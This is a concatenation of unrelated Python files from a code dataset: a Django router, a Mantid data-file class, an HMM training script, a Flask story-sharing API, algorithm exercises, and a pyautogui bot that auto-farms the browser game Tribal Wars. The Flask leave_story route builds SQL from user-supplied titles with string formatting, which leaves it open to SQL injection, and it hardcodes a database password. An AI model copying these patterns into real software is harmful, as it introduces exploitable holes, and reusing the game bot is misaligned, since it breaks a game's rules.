url(r'^admin/', admin.site.urls),\n url(r'^add_user/', views.create_user),\n url(r'^add_deck/', views.create_deck),\n url(r'^add_record/', views.create_record),\n url(r'^add_event/', views.create_event),\n url(r'^update_record/(?P\\d+)/$', views.update_record),\n url(r'^delete_record/(?P\\d+)/$', views.delete_record),\n url(r'^records/(?P\\d+)/$', views.records),\n url(r'^records/$', views.all_records),\n url(r'^statistics/$', views.statistics),\n url(r'^$', views.index),\n]\n","sub_path":"league/league/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"605901060","text":"#! /usr/bin/env python\nimport random as r \n\ndef gen_array(size):\n arr = []\n\n for i in range(size):\n arr.append(\n r.randint(1, 1000)\n )\n return arr\n\n\n\ndef getIndxMinVal(arr, beg, end):\n minVal = arr[beg]; minIndxVal = beg\n \n for i in range(beg + 1, end):\n if arr[i] < minVal:\n minVal = arr[i]\n minIndxVal = i\n \n return minIndxVal\n\n\n\ndef checkSort(arr):\n i = 0\n while i < len(arr) - 1:\n if (arr[i] > arr[i + 1]):\n raise RuntimeError(\"[DEBUG] this is not sort array \")\n i += 1\n\n\n\ndef swap(arr, r, l):\n tmp = arr[l]\n arr[l] = arr[r]\n arr[r] = tmp\n","sub_path":"sort/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"444961840","text":"# Mantid Repository : https://github.com/mantidproject/mantid\n#\n# Copyright © 2021 ISIS Rutherford Appleton Laboratory UKRI,\n# NScD Oak Ridge National Laboratory, European Spallation Source\n# & Institut Laue - Langevin\n# SPDX - License - Identifier: GPL - 3.0 +\n\"\"\"\nClass which loads and stores a single DNS datafile in a dictionary\n\"\"\"\n\nimport os\n\nimport numpy as np\n\nfrom mantidqtinterfaces.DNSReduction.data_structures.object_dict import ObjectDict\n\n\nclass DNSFile(ObjectDict):\n \"\"\"\n class for reading, writing and storing data of a single dns datafile\n this is a dictionary but can also be accessed like atributes\n \"\"\"\n\n def __init__(self, datapath, filename):\n super().__init__()\n self.new_format = self.read(datapath, filename)\n\n def write(self, datapath, filename):\n # mostly stolen form nicos\n txt = ''\n separator = \"#\" + \"-\" * 74 + \"\\n\"\n wavelength = self['wavelength'] / 10.0 # written in nm\n txt += \"# DNS Data userid={},exp={},file={},sample={}\\n\".format(\n self['users'], self['proposal'], self['filenumber'],\n self['sample'])\n txt += separator\n\n txt += \"# 2\\n\"\n txt += \"# User: {}\\n\".format(self['users'])\n txt += \"# Sample: {}\\n\".format(self['sample'])\n txt += separator\n\n txt += \"# DNS Mono d-spacing[nm] Theta[deg] \" \\\n \"Lambda[nm] Energy[meV] Speed[m/sec]\\n\"\n txt += \"# {} {:6.4f} {:6.2f}\" \\\n \" {:6.3f}{:6.3f} {:7.2f}\\n\" \\\n \"\".format(\"PG-002\", 0.3350, self['mon_rot'],\n wavelength, self['energy'], self['speed'])\n\n txt += \"# Distances [cm] Sample_Chopper \" \\\n \"Sample_Detector Sample_Monochromator\\n\"\n txt += \"# 36.00 80.00 220.00\\n\"\n txt += separator\n\n txt += \"# Motors Position\\n\"\n txt += \"# Monochromator {:6.2f} deg\\n\" \\\n .format(self['mon_rot'])\n txt += \"# DeteRota {:6.2f} deg\\n\" \\\n .format(self['det_rot'])\n txt += \"#\\n\"\n txt += \"# Huber {:6.2f} deg\\n\" \\\n .format(self['sample_rot'])\n txt += \"# Cradle_lower {:6.2f} deg\\n\" \\\n .format(self['cradle_lo'])\n txt += \"# Cradle_upper {:6.2f} deg\\n\" \\\n .format(self['cradle_up'])\n txt += \"#\\n\"\n txt += \"# Slit_i_vertical upper {:6.1f} mm\\n\" \\\n .format(self['ap_sam_y_upper'])\n txt += \"# lower {:6.1f} mm\\n\" \\\n .format(self['ap_sam_y_lower'])\n txt += \"# Slit_i_horizontal left {:6.1f} mm\\n\" \\\n .format(self['ap_sam_x_left'])\n txt += \"# right {:6.1f} mm\\n\" \\\n .format(self['ap_sam_x_right'])\n txt += \"#\\n\"\n # dummy line\n txt += \"# Slit_f_upper {:4d} mm\\n\".format(0)\n # dummy line\n txt += \"# Slit_f_lower {:4d} mm\\n\".format(0)\n # dummy line\n txt += \"# Detector_Position_vertical {:4d} mm\\n\".format(0)\n txt += \"#\\n\"\n txt += \"# Polariser\\n\"\n txt += \"# Translation {:4d} mm\\n\".format(\n int(round(self['pol_trans_x'])))\n txt += \"# Rotation {:6.2f} deg\\n\".format(\n self['pol_rot'])\n txt += \"#\\n\"\n txt += \"# Analysers undefined\\n\"\n txt += separator\n # write currents\n txt += \"# B-fields current[A] field[G]\\n\"\n txt += \"# Flipper_precession {:6.3f} A {:6.2f} G\\n\" \\\n .format(self['Co'], 0.0)\n txt += \"# Flipper_z_compensation {:6.3f} A {:6.2f} G\\n\" \\\n .format(self['Fi'], 0.0)\n txt += \"# C_a {:6.3f} A {:6.2f} G\\n\" \\\n .format(self['A'], 0.0)\n txt += \"# C_b {:6.3f} A {:6.2f} G\\n\" \\\n .format(self['B'], 0.0)\n txt += \"# C_c {:6.3f} A {:6.2f} G\\n\" \\\n .format(self['C'], 0.0)\n txt += \"# C_z {:6.3f} A {:6.2f} G\\n\" \\\n .format(self['ZT'], 0.0)\n txt += separator\n\n txt += \"# Temperatures/Lakeshore T\\n\"\n txt += \"# T1 {:6.3f} K\\n\" \\\n .format(self['temp_tube'])\n txt += \"# T2 {:6.3f} K\\n\" \\\n .format(self['temp_samp'])\n txt += \"# sample_setpoint {:6.3f} K\\n\" \\\n .format(self['temp_set'])\n txt += separator\n\n txt += \"# TOF parameters\\n\"\n txt += \"# TOF channels {:4d}\\n\" \\\n .format(self['tofchannels'])\n txt += \"# Time per channel {:6.1f} microsecs\\n\" \\\n .format(self['channelwidth'])\n txt += \"# Delay time {:6.1f} microsecs\\n\" \\\n .format(self['tofdelay'])\n\n txt += \"# Chopper slits\\n\"\n txt += \"# Elastic time channel\\n\"\n txt += \"# Chopper frequency\\n\"\n txt += separator\n\n txt += \"# Active_Stop_Unit TIMER\\n\"\n txt += \"# Timer {:6.1f} sec\\n\" \\\n .format(self['timer'])\n txt += \"# Monitor {:16d}\\n\".format(self['monitor'])\n txt += \"#\\n\"\n txt += \"# start at {}\\n\".format(self['starttime'])\n txt += \"# stopped at {}\\n\".format(self['endtime'])\n txt += separator\n\n txt += \"# Extended data\\n\"\n if self['scannumber']:\n txt += \"# Scannumber {:8d}\\n\" \\\n .format(int(self['scannumber']))\n else:\n txt += \"# Scannumber \\n\"\n txt += \"# Scancommand {}\\n\".format(self['scancommand'])\n txt += \"# Scanposition {:>8s}\\n\" \\\n .format(self['scanposition'])\n txt += \"# pol_trans_x {:8.1f} mm\\n\" \\\n .format(self['pol_trans_x'])\n txt += \"# pol_trans_y {:8.1f} mm\\n\" \\\n .format(self['pol_trans_y'])\n txt += \"# field {:>8s}\\n\".format(self['field'])\n txt += \"# selector_lift {:8.1f} mm\\n\" \\\n .format(self['selector_lift'])\n txt += \"# selector_speed {:8.1f} rpm\\n\" \\\n .format(self['selector_speed'])\n txt += separator\n\n # write array\n txt += \"# DATA (number of detectors, number of TOF channels)\\n\"\n txt += \"# 64 {:4d}\\n\".format(self['tofchannels'])\n for ch in range(24):\n txt += \"{:2d} \".format(ch)\n for q in range(self['tofchannels']):\n txt += \" {:8d}\".format(self.counts[ch, q])\n txt += \"\\n\"\n for ch in range(24, 64):\n txt += \"{:2d} \".format(ch)\n for q in range(self['tofchannels']):\n txt += \" {:8d}\".format(0)\n txt += \"\\n\"\n with open(os.path.join(datapath, filename), 'w') as myfile:\n myfile.write(txt)\n\n def read(self, datapath, filename):\n with open(os.path.join(datapath, filename), 'r') as f:\n txt = f.readlines()\n del f\n if len(txt) < 138 or not txt[0].startswith('# DNS Data'):\n del txt\n return False\n self['filename'] = filename\n line = txt[0]\n line = line.split('userid=')[1].split(',exp=')\n self['users'] = line[0]\n line = line[1].split(',file=')\n self['proposal'] = line[0]\n line = line[1].split(',sample=')\n self['filenumber'] = line[0]\n self['sample'] = line[1][:-1]\n line = txt[7].split()\n self['mon_rot'] = float(line[3])\n self['wavelength'] = float(line[4]) * 10\n self['energy'] = float(line[5])\n self['speed'] = float(line[6])\n self['mon_rot'] = float(txt[12][25:-5])\n self['det_rot'] = float(txt[13][25:-5])\n self['sample_rot'] = float(txt[15][25:-5])\n self['cradle_lo'] = float(txt[16][25:-5])\n self['cradle_up'] = float(txt[17][25:-5])\n self['ap_sam_y_upper'] = float(txt[19][25:-4])\n self['ap_sam_y_lower'] = float(txt[20][25:-4])\n self['ap_sam_x_left'] = float(txt[21][25:-4])\n self['ap_sam_x_right'] = float(txt[22][25:-4])\n self['pol_trans_x'] = float(txt[29][25:-3])\n self['pol_rot'] = float(txt[30][25:-4])\n self['Co'] = float(txt[35][25:-16])\n self['Fi'] = float(txt[36][27:-16])\n self['A'] = float(txt[37][25:-16])\n self['B'] = float(txt[38][25:-16])\n self['C'] = float(txt[39][25:-16])\n self['ZT'] = float(txt[40][25:-16])\n self['temp_tube'] = float(txt[43][25:-3])\n self['temp_samp'] = float(txt[44][25:-3])\n self['temp_set'] = float(txt[45][25:-3])\n self['tofchannels'] = int(txt[48][25:-1])\n self['channelwidth'] = float(txt[49][25:-11])\n self['tofdelay'] = float(txt[50][25:-11])\n self['timer'] = float(txt[56][15:-5])\n self['monitor'] = int(txt[57][15:-1])\n self['starttime'] = txt[59][21:-1]\n self['endtime'] = txt[60][21:-1]\n self['scannumber'] = txt[63][15:-1].strip()\n self['scancommand'] = txt[64][28:-1]\n self['scanposition'] = txt[65][15:-1].strip()\n self['pol_trans_x'] = float(txt[66][15:-4])\n self['pol_trans_y'] = float(txt[67][15:-4])\n self['field'] = txt[68][10:-1].strip()\n self['selector_lift'] = float(txt[69][17:-4])\n self['selector_speed'] = float(txt[70][17:-4])\n if '/' in self['scanposition']:\n self['scanpoints'] = self['scanposition'].split('/')[1]\n else:\n self['scanpoints'] = ''\n self['counts'] = np.zeros((24, self['tofchannels']),\n dtype=int) # for python 2 use long\n for ch in range(24):\n self['counts'][ch, :] = txt[74 + ch].split()[1:]\n del txt\n return True\n","sub_path":"DNSReduction/data_structures/dns_file.py","file_name":"dns_file.py","file_ext":"py","file_size_in_byte":10177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"457354024","text":"import numpy as np\r\n\r\nINF = 1000000000\r\nstr = ''\r\nObservations = {}\r\nStates = []\r\nTransition = [[]]\r\nEmission = [[]]\r\n\r\nwith open('rosalind_ba10k.txt', 'r') as f:\r\n epoch = int(f.readline().strip())\r\n f.readline() # --------\r\n str = f.readline().strip()\r\n f.readline() # --------\r\n Observations = f.readline().strip().split()\r\n Observations = { Observations[i]:i for i in range(len(Observations)) }\r\n f.readline() # --------\r\n States = f.readline().strip().split()\r\n f.readline() # --------\r\n f.readline() # A B\r\n Transition = np.zeros((len(States), len(States)))\r\n for i in range(len(States)):\r\n Transition[i,:] = [float(i) for i in f.readline().strip().split()[1:]]\r\n f.readline() # --------\r\n f.readline() # x y z\r\n Emission = np.zeros((len(States), len(Observations)))\r\n for i in range(len(States)):\r\n Emission[i,:] = [float(i) for i in f.readline().strip().split()[1:]]\r\n\r\nfor _ in range(epoch):\r\n Forward = np.zeros((len(States), len(str)))\r\n Forward[:, 0] = Emission[:, Observations[str[0]]]\r\n for j in range(1, len(str)):\r\n for i in range(len(States)):\r\n for k in range(len(States)):\r\n Forward[i, j] += Forward[k, j-1] * Transition[k, i] * Emission[i, Observations[str[j]]]\r\n \r\n Backward = np.zeros((len(States), len(str)))\r\n Backward[:, len(str) - 1] = 1 # Emission[:, Observations[str[0]]]\r\n for j in range(len(str)-2, -1, -1):\r\n for i in range(len(States)):\r\n for k in range(len(States)):\r\n Backward[i, j] += Backward[k, j+1] * Transition[i, k] * Emission[k, Observations[str[j+1]]]\r\n\r\n Pr = Forward * Backward;\r\n\r\n Pr_ = np.zeros([len(str), len(States), len(States)])\r\n for i in range(len(str) - 1):\r\n Sum = np.sum(Pr[:, i])\r\n for j in range(len(States)):\r\n for k in range(len(States)):\r\n Pr_[i, j, k] = Forward[j, i] * Backward[k, i+1] * Transition[j, k] * Emission[k, Observations[str[i+1]]] / Sum\r\n for i in range(len(str)):\r\n Pr[:, i] = Pr[:, i] / Sum;\r\n\r\n Transition = np.sum(Pr_, 0)\r\n for i in range(len(States)):\r\n Transition[i] = Transition[i] / np.sum(Transition[i])\r\n \r\n Emission = np.zeros((len(States), len(Observations)))\r\n for i in Observations:\r\n f = np.array(list(str)) == i\r\n Emission[:, Observations[i]] = np.sum(Pr[:, f], 1)\r\n\r\n print(Emission)\r\n\r\n for i in range(len(States)):\r\n Emission[i] /= np.sum(Emission[i])\r\n print(Emission)\r\n \r\n\r\nwith open('rosalind_ba10k_output.txt', 'w') as out:\r\n out.write(\"\\t\" + \"\\t\".join(States) + \"\\n\")\r\n for i in range(len(States)):\r\n s = np.array2string(\r\n Transition[i],\r\n formatter={'float_kind':lambda x: \"%.4f\" % x},\r\n separator='\\t',\r\n prefix=\"\"\r\n )\r\n\r\n out.write(States[i] + \"\\t\" + s[1:-1] + \"\\n\")\r\n out.write(\"--------\\n\")\r\n \r\n out.write(\"\\t\" + \"\\t\".join(Observations.keys()) + \"\\n\")\r\n for i in range(len(States)):\r\n s = np.array2string(\r\n Emission[i],\r\n formatter={'float_kind':lambda x: \"%.4f\" % x},\r\n separator='\\t',\r\n prefix=\"\"\r\n )\r\n\r\n out.write(States[i] + \"\\t\" + s[1:-1] + \"\\n\")","sub_path":"ba10k.py","file_name":"ba10k.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"224428075","text":"from nltk.tokenize import TreebankWordTokenizer\nfrom nltk.stem import PorterStemmer\n\nimport csv\nimport sys \nimport pickle\n\nreload(sys) \nsys.setdefaultencoding('utf8')\n\ntokenizer = TreebankWordTokenizer()\n\nstemmer=PorterStemmer()\n\nurl_description_dict = {}\n\nwith open('ted_main.csv') as csvfile:\n\treader = csv.DictReader(csvfile)\n\tfor row in reader:\n\t\tdescription = row['description']\n\t\tnew_description = \"\"\n\t\tfor word in tokenizer.tokenize(description.lower()):\n\t\t\ttry:\n\t\t\t\tnew_description += stemmer.stem(word.decode('utf-8')) + \" \"\n\t\t\texcept:\n\t\t\t\tnew_description += word\n\t\turl_description_dict[row[\"url\"]] = new_description\n\nwith open(\"new_descriptions.pickle\", \"wb\") as handle:\n pickle.dump(url_description_dict, handle, protocol=pickle.HIGHEST_PROTOCOL)","sub_path":"stemming_description.py","file_name":"stemming_description.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"559847933","text":"from flask import Flask, request, Response\nimport json\nfrom grammarbot import GrammarBotClient\nimport MySQLdb\n\nfrom apscheduler.scheduler import Scheduler\n\napp = Flask(__name__)\n\ndef time_out_user():\n\tdb = MySQLdb.connect(\"mysql-server\", \"root\", \"secret\", \"mydb\")\n\tcursor = db.cursor()\n\n\t# current_user = row[2]\n\tcursor.execute(\"SELECT * FROM stories;\")\n\trows = cursor.fetchall()\n\tfor row in rows:\n\t\t#get current user\n\t\tcursor.execute(\"SELECT current_ip_addr FROM stories WHERE title = %s\", (row[0],))\n\t\tcurrent_user = cursor.fetchone()\n\n\t\t#get valid user\n\t\tcursor.execute(\"SELECT ip_addr FROM ip WHERE title = %s and ip_addr > %s ORDER BY ip_addr LIMIT 1;\", (row[0], current_user))\n\t\tvalid_user = cursor.fetchone()\n\n\t\t#update current user value to valid user\n\t\tcursor.execute(\"UPDATE stories SET current_ip_addr = %s WHERE title = %s\", (valid_user, row[0]))\n\t\tdb.commit()\n\t\tdb.close()\n\nsched = Scheduler(daemon=True)\nsched.start()\nsched.add_interval_job(time_out_user, minutes=10)\n\n@app.route('/story/start', methods=[\"POST\"])\ndef start_story():\n\n\tuser_ip = request.remote_addr\n\n\tif request.headers['Content-Type'] == 'application/json':\n\t\targuments = request.get_json()\n\t\ttitle = arguments.get(\"title\")\n\t\ttext = arguments.get(\"text\")\n\n\t\tif check_grammar_bot(text)==True:\n\t\t\tdb = MySQLdb.connect(\"mysql-server\", \"root\", \"secret\", \"mydb\")\n\t\t\tcursor = db.cursor()\n\t\t\tcursor.execute(\"INSERT INTO stories (title, text, current_ip_addr, state) VALUES (%s, %s, %s, %s)\", (title, text, user_ip, 1))\n\t\t\tcursor.execute(\"INSERT INTO ip (title, ip_addr) VALUES (%s, %s)\", (title, user_ip))\n\t\t\tdb.commit()\n\t\t\tdb.close()\n\n\t\t\tdata = {\"title\": title}\n\n\t\t\tresp = Response(json.dumps(data), mimetype='application/json', status=201)\n\t\t\treturn resp\n\n\tdata = {\"Error\" : \"Error in content type\"}\n\n\tresp = Response(json.dumps(data), status=201, mimetype='application/json')\n\treturn resp\n\n\n@app.route('/story/list', methods=[\"GET\"])\ndef list_stories_titles():\n\n\tstories = []\n\n\tdb = MySQLdb.connect(\"mysql-server\", \"root\", \"secret\", \"mydb\")\n\tcursor = db.cursor()\n\tcursor.execute(\"SELECT * FROM stories\")\n\trows = cursor.fetchall()\n\tfor row in rows:\n\t stories.append(row)\n\tdb.close()\n\n\tdata = {\"stories\": stories}\n\n\tresp = Response(json.dumps(data), status=200, mimetype='application/json')\n\treturn resp\n\n@app.route('/story/', methods=[\"GET\"])\ndef display_story(title):\n\n\n\tdb = MySQLdb.connect(\"mysql-server\", \"root\", \"secret\", \"mydb\")\n\tcursor = db.cursor()\n\tcursor.execute(\"SELECT * FROM stories WHERE title = %s\", (title,))\n\trows = cursor.fetchone()\n\tif (rows != None):\n\t\tdata = {\"title\": rows[0], \"text\": rows[1], \"current_user\": rows[2], \"state\": rows[3]}\n\t\tdb.close()\n\t\tresp = Response(json.dumps(data), status=200, mimetype='application/json')\n\t\treturn resp\n\n\tdata = { \"Error\": \"There is no story with that title.\" }\n\tresp = Response(json.dumps(data), status=404, mimetype='application/json')\n\treturn resp\n\n\n@app.route('/story/<title>/edit', methods=[\"PUT\"])\ndef edit_story(title):\n\n\t#if state of story is 0, don't allow user to edit story\n\tdb = MySQLdb.connect(\"mysql-server\", \"root\", \"secret\", \"mydb\")\n\tcursor = db.cursor()\n\tcursor.execute(\"SELECT state FROM stories WHERE title = %s\", (title,))\n\tstate = cursor.fetchone()\n\tif state == 0:\n\t\tdata = { \"Error\": \"Story has ended.\" }\n\t\tresp = Response(json.dumps(data), status=200, mimetype='application/json')\n\t\treturn resp\n\n\tuser_ip = request.remote_addr\n\n\tcursor.execute(\"SELECT * FROM stories WHERE title = %s\", (title,))\n\trow = cursor.fetchone()\n\tcurrent_user = row[2]\n\n\t#if there's only one user, and its the same user trying to edit the story, don't allow\n\tcursor.execute(\"SELECT COUNT(*) FROM ip WHERE title=%s\", (title,))\n\trow = cursor.fetchone()\n\tuser_count = row[0]\n\tif user_count == 1:\n\t\tif user_ip == current_user:\n\t\t\tdb.close()\n\t\t\tdata = { \"Error\": \"It is not your turn, waiting for more users to join the story.\" }\n\t\t\tresp = Response(json.dumps(data), status=200, mimetype='application/json')\n\t\t\treturn resp\n\t\telse:\n\t\t\t#if there's only one user, and its a new user joining, make new user the current user\n\t\t\tcursor.execute(\"INSERT INTO ip (title, ip_addr) VALUES (%s, %s)\", (title, user_ip)) #add new_user to ip table\n\t\t\tcursor.execute(\"UPDATE stories SET current_ip_addr = %s WHERE title = %s\", (user_ip, title)) #change current_user to new_user\n\t\t\tdb.commit()\n\n\t#if user is new to story, add user to table ip\n\tcursor.execute(\"INSERT INTO ip (title, ip_addr) SELECT %s, %s WHERE NOT EXISTS (SELECT 1 FROM ip WHERE title=%s and ip_addr=%s);\", (title, user_ip, title, user_ip))\n\tdb.commit()\n\t# cursor.execute(\"INSERT INTO ip (title, ip_addr) SELECT * FROM (SELECT %s, %s) AS tmp WHERE NOT EXISTS (SELECT * FROM ip WHERE title = %s and ip_addr = %s) LIMIT 1;\", (title, user_ip, title, user_ip))\n\n\t# #get list of users writing title\n\t# cursor.execute(\"SELECT ip_addr FROM ip WHERE title = %s\", (title,))\n\t# users = cursor.fetchall()\n\n\t# #get valid user\n\t# cursor.execute(\"SELECT ip_addr FROM stories WHERE title = %s and ip_addr > %s ORDER BY ip_addr LIMIT 1;\", (title, current_user))\n\t# cursor.execute(\"SELECT ip_addr FROM ip WHERE title = %s and ip_addr > %s ORDER BY ip_addr LIMIT 1;\", (title, current_user))\n\t# valid_user = cursor.fetchone()\n\n\t#get updated current_user\n\tcursor.execute(\"SELECT * FROM stories WHERE title = %s\", (title,))\n\trow = cursor.fetchone()\n\tcurrent_user = row[2]\n\n\tif user_ip == current_user:\n\n\t\tif request.headers['Content-Type'] == 'application/json':\n\t\t\targuments = request.get_json()\n\t\t\tnew_text = arguments.get(\"new_text\")\n\n\t\t\tif check_grammar_bot(new_text)==True:\n\n\t\t\t\tdb = MySQLdb.connect(\"mysql-server\", \"root\", \"secret\", \"mydb\")\n\t\t\t\tcursor = db.cursor()\n\t\t\t\tcursor.execute(\"SELECT text FROM stories WHERE title = %s;\", (title,))\n\t\t\t\ttext_row = cursor.fetchone()\n\t\t\t\told_text = text_row[0]\n\t\t\t\tupdated_text = old_text + new_text\n\t\t\t\tcursor.execute(\"UPDATE stories SET text = %s WHERE title = %s;\", (updated_text, title))\n\t\t\t\tdb.commit()\n\t\t\t\tdb.close()\n\n\t\t\t\tresp = Response(status=204, mimetype='application/json')\n\t\t\t\treturn resp\n\n\tdata = { \"Error\": \"It is not your turn.\" }\n\tresp = Response(json.dumps(data), status=200, mimetype='application/json')\n\treturn resp\n\n@app.route('/story/<title>/users', methods=[\"GET\"])\ndef get_users(title):\n\n\tusers = []\n\n\tdb = MySQLdb.connect(\"mysql-server\", \"root\", \"secret\", \"mydb\")\n\tcursor = db.cursor()\n\tcursor.execute(\"SELECT ip_addr FROM ip WHERE title = %s\", (title,))\n\trows = cursor.fetchall()\n\tfor row in rows:\n\t users.append(row)\n\tdb.close()\n\n\tdata = {\"Users\": users}\n\n\tresp = Response(json.dumps(data), status=200, mimetype='application/json')\n\treturn resp\n\n@app.route('/story/<title>/end', methods=[\"PUT\"])\ndef end_story(title):\n\tdb = MySQLdb.connect(\"mysql-server\", \"root\", \"secret\", \"mydb\")\n\tcursor = db.cursor()\n\tcursor.execute(\"UPDATE stories SET state = 0 WHERE title = %s\", (title,))\n\tdb.commit()\n\tdb.close()\n\n\tresp = Response(status=204, mimetype='application/json')\n\treturn resp\n\n@app.route('/story/leave/<title>', methods=[\"DELETE\"])\ndef leave_story(title):\n\n\tuser_ip = request.remote_addr\n\n\tdb = MySQLdb.connect(\"mysql-server\", \"root\", \"secret\", \"mydb\")\n\tcursor = db.cursor()\n\n\t#get the number of users writing this story\n\tquery = \"SELECT COUNT(ip_addr) from ip WHERE title = '{}';\".format(title)\n\tcursor.execute(query)\n\tnum_users = int(cursor.fetchone()[0])\n\n\t#get the current user of this story\n\tquery = \"SELECT current_ip_addr from stories WHERE title = '{}';\".format(title)\n\tcursor.execute(query)\n\tcurrent_user = cursor.fetchone()[0]\n\n\t#close the story if you are the only user, else move the current user onto the next ip_addr if you are the current user\n\tif num_users > 1 and current_user == user_ip:\n\t\tquery = \"SELECT id from ip WHERE title = '{}' AND ip_addr = '{}';\".format(title, user_ip)\n\t\tcursor.execute(query)\n\t\tcurrent_id = cursor.fetchone()[0]\n\n\t\tquery = \"SELECT ip_addr from ip WHERE id > {} ORDER BY id LIMIT 1;\".format(current_id)\n\t\tcursor.execute(query)\n\t\tnext_ip = cursor.fetchone()[0]\n\n\t\tquery = \"UPDATE stories SET current_ip_addr = '{}' WHERE title = '{}'\".format(next_ip, title)\n\t\tcursor.execute(query)\n\t\tdb.commit()\n\telif num_users == 1:\n\t\tquery = \"UPDATE stories SET state = 0 WHERE title = '{}';\".format(title)\n\t\tcursor.execute(query)\n\t\tdb.commit()\n\n\t#delete the user from the ip table\n\tquery = \"DELETE FROM ip WHERE title = '{}' and ip_addr = '{}';\".format(title, user_ip)\n\tcursor.execute(query)\n\tdb.commit()\n\n\tdb.close()\n\n\tresp = Response(status=204, mimetype='application/json')\n\treturn resp\n\n\ndef check_grammar_bot(text):\n\tclient = GrammarBotClient()\n\tres = client.check(text, 'en-US')\n\tif len(res.matches)==0:\n\t\treturn True\n\treturn False\n","sub_path":"webserver/storey.py","file_name":"storey.py","file_ext":"py","file_size_in_byte":8614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"70105254","text":"\"\"\"\nGiven an array of numbers, arrange them in a way that yields the largest value.\nFor example, if the given numbers are {54, 546, 548, 60}, the arrangement\n6054854654 gives the largest value. And if the given numbers are\n{1, 34, 3, 98, 9, 76, 45, 4}, then the arrangement 998764543431 gives the\nlargest value.\n\"\"\"\ndef compare(a, b):\n if int(a+b) < int(b+a):\n return -1\n else:\n return 1\n\ndef printLargest(l):\n a = [str(i) for i in l]\n a.sort(cmp=compare, reverse=True)\n res = ''\n for n in a:\n res += n\n return res\n","sub_path":"Amazon/Arrange given numbers to form the biggest number.py","file_name":"Arrange given numbers to form the biggest number.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"431251748","text":"def bellmanford():\n negaCycle = False\n for n in range(N-1):\n for g in G:\n s = g[0]\n d = g[1]\n w = g[2]\n if adj[s] != INF and adj[s]+w < adj[d]:\n adj[d] = adj[s]+w\n\n\n for g in G:\n s = g[0]\n d = g[1]\n w = g[2]\n if adj[s] != INF and adj[s]+w < adj[d]:\n negaCycle = True\n return not negaCycle\n\n return not negaCycle\n\ndef display():\n for n in range(1,N):\n if adj[n]==INF:\n print(-1)\n else:\n print(adj[n])\n\n\nif __name__ == '__main__':\n INF = 0x7FFFFFFF\n\n NM = input().split()\n N = int(NM[0])\n M = int(NM[1])\n G = []\n adj = [INF]*N\n\n for m in range(M):\n temp = input().split()\n G.append((int(temp[0])-1, int(temp[1])-1, int(temp[2])))\n\n adj[0] = 0\n\n if bellmanford():\n display()\n else:\n print(-1)\n","sub_path":"알고리즘/타임머신(11657).py","file_name":"타임머신(11657).py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"272954159","text":"def permuate(stringF):\n\tdef helper(s, chosen):\n\t\tif len(s) == 0: #\n\t\t\tperms.append(chosen)\n\t\telse:\n\t\t\t#choose/explore/unchoose\n\t\t\t#try all possible letters that could come next\n\t\t\tfor i in range(len(s)):\n\t\t\t\tchar = s[i] #choose\n\t\t\t\tchosen += char\n\t\t\t\t#remove char from s\n\t\t\t\tindOfChar = s.find(char)\n\t\t\t\ts = s[:indOfChar] + s[indOfChar+1:]\n\t\t\t\thelper(s, chosen) #explore\n\n\t\t\t\ts = s[:i] + chosen + s[i+1:]\n\n\t\t\t\tindOfChar = chosen.find(char)\n\t\t\t\ts = chosen[:indOfChar] + chosen[indOfChar+1:]\n\n\n\t\n\tperms = []\n\thelper(stringF, \"\")\t\n\n\tprint(perms)\n\n\npermuate(\"MARTY\")","sub_path":"permutation.py","file_name":"permutation.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"362339939","text":"\nimport time\nimport webbrowser\nfrom sys import platform\nfrom random import random\n\nimport pyautogui\n#run from terminal in a virtual machine\n\n#%% parametres a modifier\nfrom mes_villages import villages_code\nhow_many_a = [12, 15, 12]\nhow_many_b = [35, 70, 70]\ntime_space = 60 #minutes\n\n#%%\nclass KeyboardCommands():\n def run_js_script(self):\n pyautogui.press('9')\n\n def close_tab(self):\n if platform == 'darwin':\n pyautogui.keyDown('cmd') # hold down the shift key\n pyautogui.press('w') # press the left arrow key\n pyautogui.keyUp('cmd') # release the shift key\n else:\n pyautogui.keyDown('ctrl') # hold down the shift key\n pyautogui.press('w') # press the left arrow key\n pyautogui.keyUp('ctrl') # release the shift key\n\n def send_spaced_bs(self, how_much):\n for x in range(how_much):\n pyautogui.press('b')\n time.sleep(.2+random()/10)\n\n def send_spaced_bs2(self, how_much):\n pyautogui.press('b', presses=how_much, interval=.21)\n\n def send_spaced_as(self, how_much):\n for x in range(how_much):\n pyautogui.press('a')\n time.sleep(.2+random()/10)\n\n def send_spaced_as2(self, how_much):\n pyautogui.press('a', presses=how_much, interval=.21)\n\ndef open_farm_tab(village):\n if platform == 'darwin':\n webbrowser.get('Chrome').open('https://br100.tribalwars.com.br/game.php?village={}&screen=am_farm'.format(village), new=2, autoraise=True)\n elif platform == 'linux':\n webbrowser.get('Firefox').open('https://br100.tribalwars.com.br/game.php?village={}&screen=am_farm'.format(village), new=2, autoraise=True)\n else:\n webbrowser.open('https://br100.tribalwars.com.br/game.php?village={}&screen=am_farm'.format(village), new=2, autoraise=True)\n\ndef farm_coordinator(tcl):\n ##\n for x in range(len(villages_code)):\n # print(x, villages_code[x])\n open_farm_tab(villages_code[x])\n time.sleep(5)\n tcl.run_js_script()\n time.sleep(4)\n tcl.send_spaced_as(how_many_a[x])\n tcl.send_spaced_bs(how_many_b[x])\n time.sleep(.5)\n tcl.close_tab()\n#%%\nif __name__ == '__main__':\n tcl = KeyboardCommands()\n\n try:\n while True:\n s = time.time()\n if platform != 'linux':\n for x in range(3):\n print('\\r\\a', end='', flush=True)\n time.sleep(1)\n 